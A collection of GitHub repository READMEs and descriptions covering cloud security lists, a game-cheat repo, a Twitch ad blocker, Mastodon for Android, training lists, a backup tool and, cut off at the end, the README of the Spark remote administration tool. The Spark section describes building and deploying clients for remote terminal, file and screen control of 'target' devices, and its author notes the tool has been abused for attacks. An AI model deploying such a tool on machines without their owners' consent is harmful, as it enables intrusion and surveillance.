alt="程皮糖别皮" src="/img/2000000022.png" style="width: 100px;" /><br />程皮糖别皮</a> </td> <td align="center"><img alt="Kagantua" src="/img/2000000026.png" style="width: 100px;" /><br />Kagantua</a> </td> </tr> <tr> <td align="center"><img alt="feng" src="/img/2000000027.png" style="width: 100px;" /><br />feng</a> </td> <td align="center"><img alt="Poker" src="/img/2000000032.png" style="width: 100px;" /><br />Poker</a> </td> </tr> </table> ### 想要一起补充？直接给本项目提 PR 或者使用右侧链接中的方法：[补充说明地址](https://wiki.teamssix.com/About/Contribute.html) ## 更新日志 :calendar: 在 T Wiki 云安全文库的更新日志中，记录了 Awesome Cloud Security 项目和文库的更新情况，在 [wiki.teamssix.com/Changelog](https://wiki.teamssix.com/Changelog) 这里可以查看。 另外我的个人微信公众号：`TeamsSix` 欢迎你来关注 <div align=center><img width="700" src="https://cdn.jsdelivr.net/gh/teamssix/BlogImages/imgs/202204152148071.png" div align=center/></div> <div align=center><img src="https://api.star-history.com/svg?repos=teamssix/awesome-cloud-security&type=Timeline" div align=center/></div> 师傅都看到这了，还不点个 Star :star2: 再走吗 ~

awesome cloud security 收集一些国内外不错的云安全资源，该项目主要面向国内的安全人员

awesome,cloud-native,cloud-security,awesome-cloud-security,cloudnative,cloudsecurity,cybersecurity,docker,kubernetes,tools

edmundhung/conform

A type-safe form validation library utilizing web fundamentals to progressively enhance HTML Forms with full support for server frameworks like Remix and Next.js.

form-validation,react,validation,constraint-validation,progressive-enhancement,remix-run,react-router,nextjs

therealgliz/blooket-hacks

# blooket-hack Hell i'm actually gliz who created the blooket hacks. I got the repo from the guy who was impersonating me. **This repo will not be updated at all. If you have any questions join the discord server below I'll be answering them.** **discord server: https://discord.gg/Nj9Zs5VtFp** Proof thats it me:  # Contact if you want to contact me just dm me on twitter https://twitter.com/glizuwu

Multiple game hacks to use so the game become easier to play!

blooket,blooket-hack,blooketapi,blookethack,blookettokens,blooket-game,blooket-hacks,blooket-mods,blooket-utilities,blooketjs

cleanlock/VideoAdBlockForTwitch

<p align="center"> <img src="https://user-images.githubusercontent.com/32986026/197740236-78fe908c-4fd1-4721-82f8-7e66ffdef2d1.png" alt="Banner"> </p> # Twitch Adblock Twitch Adblock blocks ads on Twitch by switching to an ad-free version of the stream at 480p during the ad-time and automatically switches back to the original video quality after the ad-time is over. This is 100% done locally, no proxies/VPNs or 3rd party scripts/websites are being used. This extension does not collect/share any of your personal information and the code is public. It is recommended to use this extension along with UBlock Origin. Sourcecode: https://github.com/cleanlock/VideoAdBlockForTwitch The original author of this extension is "saucettv". This extension will always stay donation- and referral-link free. # Available Browsers - [Firefox](https://addons.mozilla.org/en-US/firefox/addon/twitch-adblock/) - [Chrome](https://chrome.google.com/webstore/detail/twitch-adblock/ljhnljhabgjcihjoihakgdiicdjncpkd?hl=en&authuser=0) - [Edge](https://microsoftedge.microsoft.com/addons/detail/twitch-adblock/ebopkbdmemhbmhemdgajhagjgeiffhik) # Manual Installation Steps for Chrome **NOTE: This is NOT RECOMMENDED, you WILL NOT get auto-updates** - [Download the latest .ZIP Archive](https://github.com/cleanlock/VideoAdBlockForTwitch/archive/refs/heads/master.zip) - Extract the ZIP Archive - Open up Chrome and in your Web Browser URL, enter: `chrome://extensions` - Enable the `Developer Mode` toggle, found in the top right of this view (typically) of the extensions page in your browser. - Click `Load unpacked Extension` - Navigate into the extracted folder from the ZIP Archive and select the folder `chrome`. # Discord - https://discord.gg/PSgWqf3v8V # Changelog - v5.3.5 - `removed the URL grabber, Amazon referral link and Donation-Stuff from the original coder` - v5.3.6 - `updated manifest.json` - v5.3.7 - `updated to Manifest v3` - v5.3.8 - `updated extension menu` - `added GitHub & Discord link to the extension menu` - v5.3.9 - `fixed "Show/Hide 'Blocking Ads'-message logic` - v5.4.0 (Chrome) / v5.4.1 (Firefox) - `applied fix for the 360p quality issue` (thanks [@pixeltris](https://github.com/pixeltris)) - v5.5.0 - `Added proxies/embeds in order to fight the purple screen "Commercial break"` (thanks to [@pixeltris](https://github.com/pixeltris)) - v5.5.0 - `Updated Logos etc.`) - v5.7.0 - `Added Adblock-Timer` (thanks to [@GODrums](https://github.com/GODrums)) # Credits - [@saucettv](https://github.com/saucettv) (original Author) - [@mikirobles](https://github.com/mikirobles) (removed Donation/Amazon stuff) - [@pwltr](https://github.com/pwltr) (added the GPL-License & helped with updating to Manifest v3) - [@HatterTheMadd](https://github.com/hatterthemadd) (helped with updating to Manifest v3) - [@kdjmonaghan](https://github.com/kdjmonaghan) (added clearer install instructions for less advanced users)

Blocks Ads on Twitch.tv.

mastodon/mastodon-android

Mastodon for Android ====================== [](https://crowdin.com/project/mastodon-for-android) This is the repository for the official Android app for Mastodon. [<img src="https://fdroid.gitlab.io/artwork/badge/get-it-on.png" alt="Get it on F-Droid" height="80">](https://f-droid.org/packages/org.joinmastodon.android/) [<img src="https://play.google.com/intl/en_us/badges/images/generic/en-play-badge.png" alt="Get it on Google Play" height="80">](https://play.google.com/store/apps/details?id=org.joinmastodon.android) Or get the APK from the [The Releases Section](https://github.com/mastodon/mastodon-android/releases/latest). ## Contributing Our goal is delivering a polished, professionally designed and user-friendly app. We proceed according to wireframes provided by a professional UX designer that works with Mastodon gGmbH. This means that any outside contributions that change the app visually must first be coordinated with the UX designer. *This can take time.* Furthermore, we work off of an internal roadmap and aim for feature-parity and consistency with our iOS app. The iOS app is designated as the "primary" between the two, therefore, if you want to request features, please do so in the [Mastodon for iOS](https://github.com/mastodon/mastodon-ios) repository, as you are requesting a feature to be both in iOS and Android (exceptions being system integrations specific to Android). On the other hand, any contributions that improve existing functionality, performance, or accessibility should not have any roadblocks to being merged. If you would like to help translate the app into your language, please go to [Crowdin](https://crowdin.com/project/mastodon-for-android). If your language is not listed in the Crowdin project, please create an issue and we will add it. Please do not create pull requests that modify `strings.xml` files for languages other than English. ## Building As this app is using Java 17 features, you need JDK 17 or newer to build it. Other than that, everything is pretty standard. You can either import the project into Android Studio and build it from there, or run the following command in the project directory: ``` ./gradlew assembleRelease ``` ## License This project is released under the [GPL-3 License](./LICENSE). The Mastodon name and logo are trademarks of Mastodon gGmbH. If you intend to redistribute a modified version of this app, use a unique name and icon for your app that does not mistakenly imply any official connection with or endorsement by Mastodon gGmbH.

Official Android app for Mastodon

android,mastodon

joseadanof/awesome-cloudnative-trainings

# Awesome Cloud Native Trainings [](https://awesome.re) *It just started as a [post](https://joseadanof.medium.com/cloud-native-free-training-and-certifications-4c86851659f8) in Medium where I was collecting all the free trainings with and without certificates that were released from different companies supporting Cloud Native Computing Foundation Projects and Kubernetes related OSS.* *Whether you are studying for a Kubernetes Certification or powering your career as DevOps Engineer, Cloud Engineer, Platform Engineer, Cloud Developer, Developer Advocate, or SRE, this set of trainings could prepare you well to face many Cloud Native transformation challenges* 50, yes, more than ***50*** certificates or badges you can get from this awesome repository of trainings. ## Free Trainings with Certifications ###### **Akuity** * Introduction to Continuous Delivery and GitOps using Argo CD - [Course + Badge](https://academy.akuity.io/courses/gitops-argocd-intro) ###### **AWS** * Architecting - [Course + Badge](https://bit.ly/architect23) * Serverless - [Course + Badge](https://aws.amazon.com/training/learn-about/serverless/) * Object Storage - [Course + Badge](https://explore.skillbuilder.aws/learn/public/learning_plan/view/51/storage-learning-plan-object-storage) * Block Storage - [Course + Badge](https://explore.skillbuilder.aws/learn/public/learning_plan/view/93/storage-learning-plan-block-storage) * File Storage - [Course + Badge](https://explore.skillbuilder.aws/learn/public/learning_plan/view/95/storage-learning-plan-file-storage) * Storage Data Migration - [Course + Badge](https://explore.skillbuilder.aws/learn/public/learning_plan/view/94/storage-learning-plan-data-migration) * Data Protection & Disaster Recovery - [Course + Badge](https://explore.skillbuilder.aws/learn/public/learning_plan/view/54/storage-learning-plan-data-protection-and-disaster-recovery) ###### **Isovalent** * Getting Started with Cilium - [Labs + Badge](https://isovalent.com/labs/getting-started-with-cilium/) * Cilium Cluster Mesh - [Labs + Badge](https://isovalent.com/labs/cilium-cluster-mesh/) * Cilium Service Mesh - [Labs + Badge](https://isovalent.com/labs/cilium-service-mesh/) * Isovalent Cilium Enterprise: Network Policies - [Labs + Badge](https://isovalent.com/labs/isovalent-cilium-enterprise-network-policies/) * Cilium LoadBalancer IPAM and BGP Service Advertisement - [Labs + Badge](https://isovalent.com/labs/lb-ipam-bgp-service/) ###### **Arrikto** * Introduction to Kubeflow - [Training + Certification](https://www.arrikto.com/kubeflow-pipelines-fundamentals-training-certification-registration/) ###### **ScyllaDB** * ScyllaDB Courses with Certificates - [Courses + Completion Certificates](https://university.scylladb.com/) ###### **Arango DB** * ArangoDB Certified Professional - [Certificate](https://www.arangodb.com/learn/certification/) ###### **Redis (Redis University)** * Introduction to Redis Data Structures - [Certificate](https://university.redis.com/courses/ru101/) * Redis for Java Developers - [Certificate](https://university.redis.com/courses/ru102j/) * Redis for JavaScript Developers - [Certificate](https://university.redis.com/courses/ru102js/) * Redis for Python Developers - [Certificate](https://university.redis.com/courses/ru102py/) * Redis for .NET Developers - [Certificate](https://university.redis.com/courses/ru102n/) * Redis: Querying, Indexing and Full-Text Search - [Certificate](https://university.redis.com/courses/ru203/) * Redis: Storing, Indexing and Querying JSON at Speed - [Certificate](https://university.redis.com/courses/ru204/) * Running Redis at Scale - [Certificate](https://university.redis.com/courses/ru301/) * Redis Security - [Certificate](https://university.redis.com/courses/ru330/) * Redis Certified Developer - [Certificate](https://university.redis.com/certification/) ###### **O11y Academy** * Practical Observability - [Course + Certificate](https://academy.o11y.io/courses/practical-observability) ###### **Cockroach Labs** * Introduction to Distrbuited SQL and CockroachDB - [Course + Certificate](https://university.cockroachlabs.com/courses/course-v1:crl+intro-to-distributed-sql-and-cockroachdb+self-paced/about) * Practical First Steps with CockroachDB - [Course + Certificate](https://university.cockroachlabs.com/courses/course-v1:crl+practical-first-steps-with-crdb+self-paced/about) ###### **IBM Cognitive Class** * Docker Essentials - [Course + Badge](https://cognitiveclass.ai/courses/docker-essentials) * Building Cloud Native and Multi Cloud Applications - [Course + Certification](https://cognitiveclass.ai/courses/building_cloud_native_and_multicloud_applications) ###### **Harness** * Harness Chaos Engineering Practitioner - [Course + Certificate](https://university.harness.io/path/harness-chaos-engineering-practitioner) ###### **Ambassador Labs** * Summer of Kubernetes - [Labs + Challenges + Prizes](https://www.getambassador.io/summer-of-k8s/) ###### **Nirmata** * Kyverno Fundamentals - [Introduction Course](https://learn.nirmata.com/courses/introduction-to-kyverno) + [Certification](https://learn.nirmata.com/courses/kyverno-fundamentals-certification) ###### **IBM** * Build Smart on Kubernetes - [Labs + Credly Badge](https://developer.ibm.com/videos/build-smart-on-kubernetes-get-your-badge/) ###### **Tetrate Academy** * Envoy Fundamentals - [Course + Certification](https://academy.tetrate.io/courses/envoy-fundamentals) * Istio Fundamentals - [Course + Certification](https://academy.tetrate.io/courses/istio-fundamentals) * Certified Istio Administrator by Tetrate - [Certification](https://academy.tetrate.io/courses/certified-istio-administrator) ###### **Codefresh** * GitOps Fundamentals - [Course + Certification](https://codefresh.learnworlds.com/) ###### **Kasten Learning** * Kubernetes Badges (Apprentice, Defender , Helmsman, Contender, Protector, Surveyor, Architect, Rookie and Explorer) - [Labs + Badges](https://learning.kasten.io/) ###### **solo.io Academy** *On-demand Workshops:* *Istio* * Get Started with Istio (with Fundamentals for Istio Certification) - [Hands on workshop lab + Quiz for credly badge](https://academy.solo.io/get-started-with-istio) * Deploy Istio for Production (with Intermediate for Istio Certification) - [Hands on workshop lab + Quiz for credly badge](https://academy.solo.io/path/istio-certification-courses/deploy-istio-for-production) * Get Started with Istio Ambient Mesh (with Istio Ambient Mesh Foundation Certification) - [Hands on workshop lab + Quiz for credly badge](https://academy.solo.io/get-started-with-istio-ambient-mesh-with-istio-ambient-mesh-foundation-certification) *Cilium* * Introduction to Cilium (with Fundamentals for Cilium Certification) - [Hands on workshop lab + Quiz for credly badge](https://academy.solo.io/introduction-to-cilium-with-fundamentals-for-cilium-certification) *Envoy* * Get Started with Envoy Proxy (with Fundamentals for Envoy Certification) - [Hands on workshop lab + Quiz for credly badge](https://academy.solo.io/get-started-with-envoy-proxy-with-fundamentals-for-envoy-certification) *eBPF* * Get Started with eBPF (with Fundamentals for eBPF Certification) - [Hands on workshop lab + Quiz for credly badge](https://academy.solo.io/get-started-with-ebpf-with-fundamentals-for-ebpf-certification) *Upcoming Events:* [Conferences - Live Streams - Webinars - Instructor led workshops](https://www.solo.io/events/upcoming/#workshops) ###### **Tigera - Calico Certification** * Certified Calico Operator: Level 1 (Kubernetes Networking and Security) - [Training + Certification](https://academy.tigera.io/course/certified-calico-operator-level-1/) * Certified Calico Operator: AWS Expert - [Training + Certification](https://academy.tigera.io/course/certified-calico-operator-aws-expert/) * Certified Calico Operator: eBPF - [Training + Certification](https://academy.tigera.io/course/certified-calico-operator-ebpf/) ###### **Progress Chef** * Chef Principles Certification - [Training](https://learn.chef.io/tracks) | [Certification](https://learn.chef.io/courses/course-v1:chef+CP101+exam/about) ###### **Gremlim** * Chaos Engineering Practitioner Certificate Program - [Training](https://www.gremlin.com/webinars/gremlin-certificate-prep-session) | [Certification](https://gremlin.coassemble.com/unlock/7Jan8Su) ###### **Gitlab Level Up** * Gitlab Level Up Training Platform - [Free Trainings and Certifications](https://levelup.gitlab.com/catalog) ###### **MongoDB** * MongoDB Basics - [Training + Certification](https://university.mongodb.com/courses/M001/about) ###### **New Relic** * Full Stack Observability Certificate - [Certification](https://learn.newrelic.com/full-stack-observability-exam) ## Trainings ###### **ControlPlane** * Kubernetes Labs - [Online Training](https://control-plane.io/training) ###### **RedHat Developer** * Cloud Native Tutorials - [Trainings](https://redhat-scholars.github.io/cloudnative-tutorials/index.html) ###### **FreeCodeCamp** * Kubernetes Cloud Native Associate Certification Course by ExamPro - [Video Course](https://youtu.be/AplluksKvzI) ###### **Grafana University** * Observability Trainings - [Trainings](https://grafanalabs.learnondemand.net/Organization/CourseCatalog/5173?run=1#%7B%22pageIndex%22%3A0%2C%22pageSize%22%3A20%2C%22filter%22%3A%22%22%2C%22subscriptionProfileIds%22%3A%5B%5D%2C%22tagInputIds%22%3A%5B%5D%2C%22tagsJson%22%3Anull%2C%22bookmarks%22%3Anull%7D) ###### **Styra Academy** * Microservices Autxhorization with Styra - [Training](https://academy.styra.com/courses/microservice) * OPA Policy Authoring - [Training](https://academy.styra.com/courses/opa-rego) ###### **Traefik Academy** * Master Traefik with K3S - [Training](https://academy.traefik.io/courses/master-traefik-proxy-with-k3s) ###### **The Linux Foundation** * Introduction to Cilium - [Training]https://www.edx.org/es/course/introduction-to-cilium * Introduction to Istio - [Training](https://www.edx.org/course/introduction-to-istio) * Introduction to GitOps - [Training](https://training.linuxfoundation.org/training/introduction-to-gitops-lfs169/?utm_source=lftraining&utm_medium=pressrelease&utm_campaign=lfs169) * Introduction to Service Mesh with Linkerd - [Training](https://training.linuxfoundation.org/training/introduction-to-service-mesh-with-linkerd-lfs143/) * Introduction to Kubernetes on the Edge with k3s - [Training](https://training.linuxfoundation.org/training/introduction-to-kubernetes-on-edge-with-k3s-lfs156x/) * Introduction to Cloud Foundry and Cloud-Native Software Architecture - [Training](https://training.linuxfoundation.org/training/introduction-to-cloud-foundry-and-cloud-native-software-architecture/) ###### **Elastic** * Observability Fundamentals - [Training](https://www.elastic.co/training/observability-fundamentals) * Kibana Fundamentals - [Training](https://www.elastic.co/training/kibana-fundamentals) ###### **AWS** * AWS Cloud Practitioner Essentials - [Training](https://explore.skillbuilder.aws/learn/course/external/view/elearning/134/aws-cloud-practitioner-essentials) * DevOps Engineer Learning Plan - [Learning Plan](https://explore.skillbuilder.aws/learn/public/learning_plan/view/85/devops-engineer-learning-plan) * Containers Learning Plan (Multiple languages) - [Learning Plan](https://explore.skillbuilder.aws/learn/external-ecommerce;view=none?ctldoc-catalog-0=t-_%22learning_plan%22~se-%22Containers%20Learning%20Plan%22) * Developer Learning Plan (Multiple languages) - [Learning Plan](https://explore.skillbuilder.aws/learn/external-ecommerce;view=none?ctldoc-catalog-0=t-_%22learning_plan%22~se-%22developer%20learning%22) ###### **Alibaba** * Cloud Native Technology Foundations - [Training](https://edu.alibabacloud.com/certification/university-cloudnative) ###### **Promlabs** * Introduction to Prometheus - [Training](https://training.promlabs.com/training/introduction-to-prometheus) ###### **Sysdig Training** * Falco 101 - [Training](https://learn.sysdig.com/falco-101) * Introduction to Prometheus and PromQL - [Training](https://learn.sysdig.com/introduction-to-prometheus-and-promql) ###### **Cloudbees** * Certified Jenkins Engineer 2021 - [Training](https://standard.cbu.cloudbees.com/series/exam-preparation-certified-jenkins-engineer-cje) ###### **Datastax Academy** * Apache Cassandra Developer - [Training](https://academy.datastax.com/#/online-courses/ca2e1209-510b-44a6-97de-d5219d835319) * Apache Cassandra Administrator - [Training](https://academy.datastax.com/#/online-courses/6167eee3-0575-4d88-9f80-f2270587ce23) * Apache Cassandra Operations in K8S - [Training](https://www.datastax.com/learn/apache-cassandra-operations-in-kubernetes) ###### **VMWare Kube Academy** * Kubernetes related courses - [VMWare Kube Academy](https://kube.academy/courses) ###### **Aqua Cloud Native Academy** * Shift Left DevOps - [Training](https://www.aquasec.com/cloud-native-academy/devsecops/shift-left-devops/) ## Contributions Open to suggestions, enhancements and collaborations, open a PR and make your contributions. ## License [Awesome Cloud Native Trainings](https://github.com/joseadanof/awesome-cloudnative-trainings/) by [@joseadanof](https://github.com/joseadanof) is licensed under CC BY 4.0

Awesome Trainings from Cloud Native Computing Foundation Projects and Kubernetes related software

cloud-native,cncf,containers,continuous-learning,devops,devsecops,istio,k8s,kubernetes,linux-foundation

DerekYRC/mini-spring-cloud

# <img src="assets/spring-cloud.png" width="80" height="80"> mini-spring-cloud [](https://github.com/DerekYRC/mini-spring-cloud) [](https://github.com/DerekYRC/mini-spring-cloud) [](https://img.shields.io/github/stars/DerekYRC/mini-spring-cloud) [](https://img.shields.io/github/forks/DerekYRC/mini-spring-cloud) **[English](./README_en.md) | 简体中文** **姊妹版：**[**mini-spring**](https://github.com/DerekYRC/mini-spring) **(简化版的spring框架)** ## 关于 **mini-spring-cloud**是简化版的spring-cloud框架，能帮助你快速熟悉spring-cloud源码及掌握其核心原理。在保留spring cloud核心功能的的前提下尽量精简代码，核心功能包括**服务注册**、**服务发现**、**负载均衡**、**集成Feign简化调用**、**流量控制**、**熔断降级**、**API网关**等。 希望本项目对你有所帮助，请给个**STAR吧，谢谢!!!** ## 功能 * [服务注册](https://github.com/DerekYRC/mini-spring-cloud/blob/main/changelog.md#服务注册) * [服务发现](https://github.com/DerekYRC/mini-spring-cloud/blob/main/changelog.md#服务发现) * [负载均衡](https://github.com/DerekYRC/mini-spring-cloud/blob/main/changelog.md#集成ribbon实现客户端负载均衡) * [集成Feign简化调用方式](https://github.com/DerekYRC/mini-spring-cloud/blob/main/changelog.md#集成Feign简化调用方式) * [API网关](https://github.com/DerekYRC/mini-spring-cloud/blob/main/changelog.md#API网关) * [流量控制](https://github.com/DerekYRC/mini-spring-cloud/blob/main/changelog.md#流量控制和熔断降级) * [熔断降级](https://github.com/DerekYRC/mini-spring-cloud/blob/main/changelog.md#流量控制和熔断降级) ## 使用方法 阅读 [changelog.md](https://github.com/DerekYRC/mini-spring-cloud/blob/main/changelog.md) ## 常见问题 [**点此提问**](https://github.com/DerekYRC/mini-spring-cloud/issues/1) ## 贡献 欢迎Pull Request ## 关于我 [**点此了解**](https://github.com/DerekYRC) 手机/微信：**15975984828** 邮箱：**15975984828@163.com** ## Star History [](https://star-history.com/#DerekYRC/mini-spring-cloud&Date) ## 版权说明 未取得本人书面许可，不得将该项目用于商业用途 ## 参考 - [《精尽Spring Cloud学习指南》](http://svip.iocoder.cn/Spring-Cloud/tutorials/)

mini-spring-cloud是简化版的spring-cloud框架，能帮助你快速熟悉spring-cloud源码及掌握其核心原理。在保留spring cloud核心功能的的前提下尽量精简代码，核心功能包括服务注册、服务发现、负载均衡、集成Feign简化调用、流量控制、熔断降级、API网关等。

spring,springboot,springcloud,spring-boot,spring-cloud,mini-spring,minispring,minispringcloud,mini-spring-cloud,tiny-spring

rustic-rs/rustic

<p align="center"> <img src="https://raw.githubusercontent.com/rustic-rs/assets/main/logos/readme_header.png" height="400" /> </p> <p align="center"><b>fast, encrypted, and deduplicated backups</b></p> <p align="center"> <a href="https://crates.io/crates/rustic-rs"><img src="https://img.shields.io/crates/v/rustic-rs.svg" /></a> <a href="https://docs.rs/rustic-rs/"><img src="https://img.shields.io/docsrs/rustic-rs?style=flat&amp;labelColor=1c1d42&amp;color=4f396a&amp;logo=Rust&amp;logoColor=white" /></a> <a href="https://raw.githubusercontent.com/rustic-rs/rustic/main/"><img src="https://img.shields.io/badge/license-Apache2.0/MIT-blue.svg" /></a> <a href="https://crates.io/crates/rustic-rs"><img src="https://img.shields.io/crates/d/rustic-rs.svg" /></a> <a href="https://github.com/rustic-rs/rustic/actions/workflows/nightly.yml"><img src="https://github.com/rustic-rs/rustic/actions/workflows/nightly.yml/badge.svg" /></a> <p> ## About `rustic` is a backup tool that provides fast, encrypted, deduplicated backups. It reads and writes the [restic][1] repo format described in the [design document][2] and can be used as a *restic* replacement in most cases. It is implemented in [Rust](https://www.rust-lang.org/), a performant, memory-efficient, and reliable cross-platform systems programming language. Hence `rustic` supports all major operating systems (Linux, MacOs, *BSD), with Windows support still being experimental. ### Stability `rustic` currently is in **beta** state and misses regression tests. It is not recommended to use it for production backups, yet. ## `rustic` Libraries The `rustic` project is split into multiple crates: - [rustic](https://crates.io/crates/rustic-rs) - the main binary - [rustic-core](https://crates.io/crates/rustic_core) - the core library - [rustic-backend](https://crates.io/crates/rustic_backend) - the library for supporting various backends ## Features - Backup data is **deduplicated** and **encrypted**. - Backup storage can be local or cloud storages, including cold storages. - Allows multiple clients to **concurrently** access a backup repository using lock-free operations. - Backups by default are append-only on the repository. - The operations are robustly designed and can be **safely aborted** and **efficiently resumed**. - Snapshot organization is possible by hostname, backup paths, label and tags. Also a rich set of metadata is saved with each snapshot. - Retention policies and cleaning of old backups can be **highly customized**. - Follow-up backups only process changed files, but still create a complete backup snapshot. - In-place restore only modifies files which are changed. - Uses config files for easy configuration of all every-day commands, see [example config files](/config/). ## Contact You can ask questions in the [Discussions][3] or have a look at the [FAQ](https://rustic.cli.rs/docs/FAQ.html). | Contact | Where? | | ------------- | --------------------------------------------------------------------------------------------------------------- | | Issue Tracker | [GitHub Issues](https://github.com/rustic-rs/rustic/issues) | | Discord | [](https://discord.gg/WRUWENZnzQ) | | Discussions | [GitHub Discussions](https://github.com/rustic-rs/rustic/discussions) | ## Getting started Please check our [documentation](https://rustic.cli.rs/docs/getting_started.html) for more information on how to get started. ## Installation ### From binaries #### [cargo-binstall](https://crates.io/crates/cargo-binstall) ```bash cargo binstall rustic-rs ``` #### Windows ##### [Scoop](https://scoop.sh/) ```bash scoop install rustic ``` Or you can check out the [releases](https://github.com/rustic-rs/rustic/releases). Nightly binaries are available [here](https://rustic.cli.rs/docs/nightly_builds.html). ### From source **Beware**: This installs the latest development version, which might be unstable. ```bash cargo install --git https://github.com/rustic-rs/rustic.git rustic-rs ``` ### crates.io ```bash cargo install rustic-rs ``` ## Differences to `restic`? We have collected some improvements of `rustic` over `restic` [here](https://rustic.cli.rs/docs/comparison-restic.html). ## Contributing Tried rustic and not satisfied? Don't just walk away! You can help: - You can report issues or suggest new features on our [Discord server](https://discord.gg/WRUWENZnzQ) or using [Github Issues](https://github.com/rustic-rs/rustic/issues/new/choose)! Do you know how to code or got an idea for an improvement? Don't keep it to yourself! - [Contribute fixes](https://github.com/rustic-rs/rustic/contribute) or new features via a pull requests! Please make sure, that you read the [contribution guide](https://rustic.cli.rs/docs/contributing-to-rustic.html). ## Minimum Rust version policy This crate's minimum supported `rustc` version is `1.70.0`. The current policy is that the minimum Rust version required to use this crate can be increased in minor version updates. For example, if `crate 1.0` requires Rust 1.20.0, then `crate 1.0.z` for all values of `z` will also require Rust 1.20.0 or newer. However, `crate 1.y` for `y > 0` may require a newer minimum version of Rust. In general, this crate will be conservative with respect to the minimum supported version of Rust. ## License Licensed under either of: - [Apache License, Version 2.0](./LICENSE-APACHE) - [MIT license](./LICENSE-MIT) at your option. [//]: # (badges) [//]: # (general links) [1]: https://github.com/restic/restic [2]: https://github.com/restic/restic/blob/master/doc/design.rst [3]: https://github.com/rustic-rs/rustic/discussions

rustic - fast, encrypted, and deduplicated backups powered by Rust

backup,deduplication,encryption,rust,restic

XZB-1248/Spark

#### [English] [[中文]](./README.ZH.md) [[API Document]](./API.md) [[API文档]](./API.ZH.md) --- <h1 align="center">Spark</h1> **Spark** is a free, safe, open-source, web-based, cross-platform and full-featured RAT (Remote Administration Tool) that allow you to control all your devices via browser anywhere. We **won't** collect any data, thus the server will never self-upgrade. Your clients will only communicate with your server forever. --- <div align="center"> |||| |-|-|-| |[](https://github.com/XZB-1248/Spark/releases)|[](https://github.com/XZB-1248/Spark/releases/latest)| |-|-| </div> --- ## Notice Due to my busy schedule with personal matters and the abuse of this project for cyberattacks, it's going to reach its end of life and will be archived very soon. I will no longer provide any support for this project, as it is officially abandoned. --- ## Disclaimer **THIS PROJECT, ITS SOURCE CODE, AND ITS RELEASES SHOULD ONLY BE USED FOR EDUCATIONAL PURPOSES.** <br /> **ALL ILLEGAL USAGE IS PROHIBITED!** <br /> **YOU SHALL USE THIS PROJECT AT YOUR OWN RISK.** <br /> **THE AUTHORS AND DEVELOPERS ARE NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY YOUR MISUSE OF THIS PROJECT.** **YOUR DATA IS PRICELESS. THINK TWICE BEFORE YOU CLICK ANY BUTTON OR ENTER ANY COMMAND.** If you found any security vulnerability, please **DO NOT** open an issue and immediately contact me via [**email**](mailto:i@1248.ink). --- ## Quick start ### binary * Download executable from [releases](https://github.com/XZB-1248/Spark/releases). * Following [this](#Configuration) to complete configuration. * Run executable and browse to `http://IP:Port` to access the web interface. * Generate a client and run it on your target device. * Enjoy! --- ## Configuration Configuration file `config.json` should be placed in the same directory as the executable file. <br /> Example: ```json { "listen": ":8000", "salt": "123456abcdef", "auth": { "username": "password" }, "log": { "level": "info", "path": "./logs", "days": 7 } } ``` * `listen` `required`, format: `IP:Port` * `salt` `required`, length <= 24 * after modification, you need to re-generate all clients * `auth` `optional`, format: `username:password` * hashed-password is highly recommended * format: `$algorithm$hashed-password`, example: `$sha256$11223344556677AABBCCDDEEFF` * supported algorithms: `sha256`, `sha512`, `bcrypt` * if you don't follow the format, password will be treated as plain-text * `log` `optional` * `level` `optional`, possible value: `disable`, `fatal`, `error`, `warn`, `info`, `debug` * `path` `optional`, default: `./logs` * `days` `optional`, default: `7` --- ## Features | Feature/OS | Windows | Linux | MacOS | |-----------------|---------|-------|-------| | Process manager | ✔ | ✔ | ✔ | | Kill process | ✔ | ✔ | ✔ | | Network traffic | ✔ | ✔ | ✔ | | File explorer | ✔ | ✔ | ✔ | | File transfer | ✔ | ✔ | ✔ | | File editor | ✔ | ✔ | ✔ | | Delete file | ✔ | ✔ | ✔ | | Code highlight | ✔ | ✔ | ✔ | | Desktop monitor | ✔ | ✔ | ✔ | | Screenshot | ✔ | ✔ | ✔ | | OS info | ✔ | ✔ | ✔ | | Terminal | ✔ | ✔ | ✔ | | * Shutdown | ✔ | ✔ | ✔ | | * Reboot | ✔ | ✔ | ✔ | | * Log off | ✔ | ❌ | ✔ | | * Sleep | ✔ | ❌ | ✔ | | * Hibernate | ✔ | ❌ | ❌ | | * Lock screen | ✔ | ❌ | ❌ | * Blank cell means the situation is not tested yet. * The Star symbol means the function may need administration or root privilege. --- ## Screenshots        --- ## Development ### note There are three components in this project, so you have to build them all. Go to [Quick start](#quick-start) if you don't want to make yourself boring. * Client * Server * Front-end If you want to make client support OS except linux and windows, you should install some additional C compiler. For example, to support android, you have to install [Android NDK](https://developer.android.com/ndk/downloads). ### tutorial ```bash # Clone this repository. $ git clone https://github.com/XZB-1248/Spark $ cd ./Spark # Here we're going to build front-end pages. $ cd ./web # Install all dependencies and build. $ npm install $ npm run build-prod # Embed all static resources into one single file by using statik. $ cd .. $ go install github.com/rakyll/statik $ statik -m -src="./web/dist" -f -dest="./server/embed" -p web -ns web # Now we should build client. # When you're using unix-like OS, you can use this. $ mkdir ./built $ go mod tidy $ go mod download $ ./scripts/build.client.sh # Finally we're compiling the server side. $ mkdir ./releases $ ./scripts/build.server.sh ``` Then create a new directory with a name you like. <br /> Copy executable file inside `releases` to that directory. <br /> Copy the whole `built` directory to that new directory. <br /> Copy configuration file mentioned above to that new directory. <br /> Finally, run the executable file in that directory. --- ## Dependencies Spark contains many third-party open-source projects. Lists of dependencies can be found at `go.mod` and `package.json`. Some major dependencies are listed below. ### Back-end * [Go](https://github.com/golang/go) ([License](https://github.com/golang/go/blob/master/LICENSE)) * [gin-gonic/gin](https://github.com/gin-gonic/gin) (MIT License) * [imroc/req](https://github.com/imroc/req) (MIT License) * [kbinani/screenshot](https://github.com/kbinani/screenshot) (MIT License) * [shirou/gopsutil](https://github.com/shirou/gopsutil) ([License](https://github.com/shirou/gopsutil/blob/master/LICENSE)) * [gorilla/websocket](https://github.com/gorilla/websocket) (BSD-2-Clause License) * [orcaman/concurrent-map](https://github.com/orcaman/concurrent-map) (MIT License) ### Front-end * [React](https://github.com/facebook/react) (MIT License) * [Ant-Design](https://github.com/ant-design/ant-design) (MIT License) * [axios](https://github.com/axios/axios) (MIT License) * [xterm.js](https://github.com/xtermjs/xterm.js) (MIT License) * [crypto-js](https://github.com/brix/crypto-js) (MIT License) ### Acknowledgements * [natpass](https://github.com/lwch/natpass) (MIT License) * Image difference algorithm inspired by natpass. --- ### Stargazers over time [](https://starchart.cc/XZB-1248/Spark) --- ## License [BSD-2 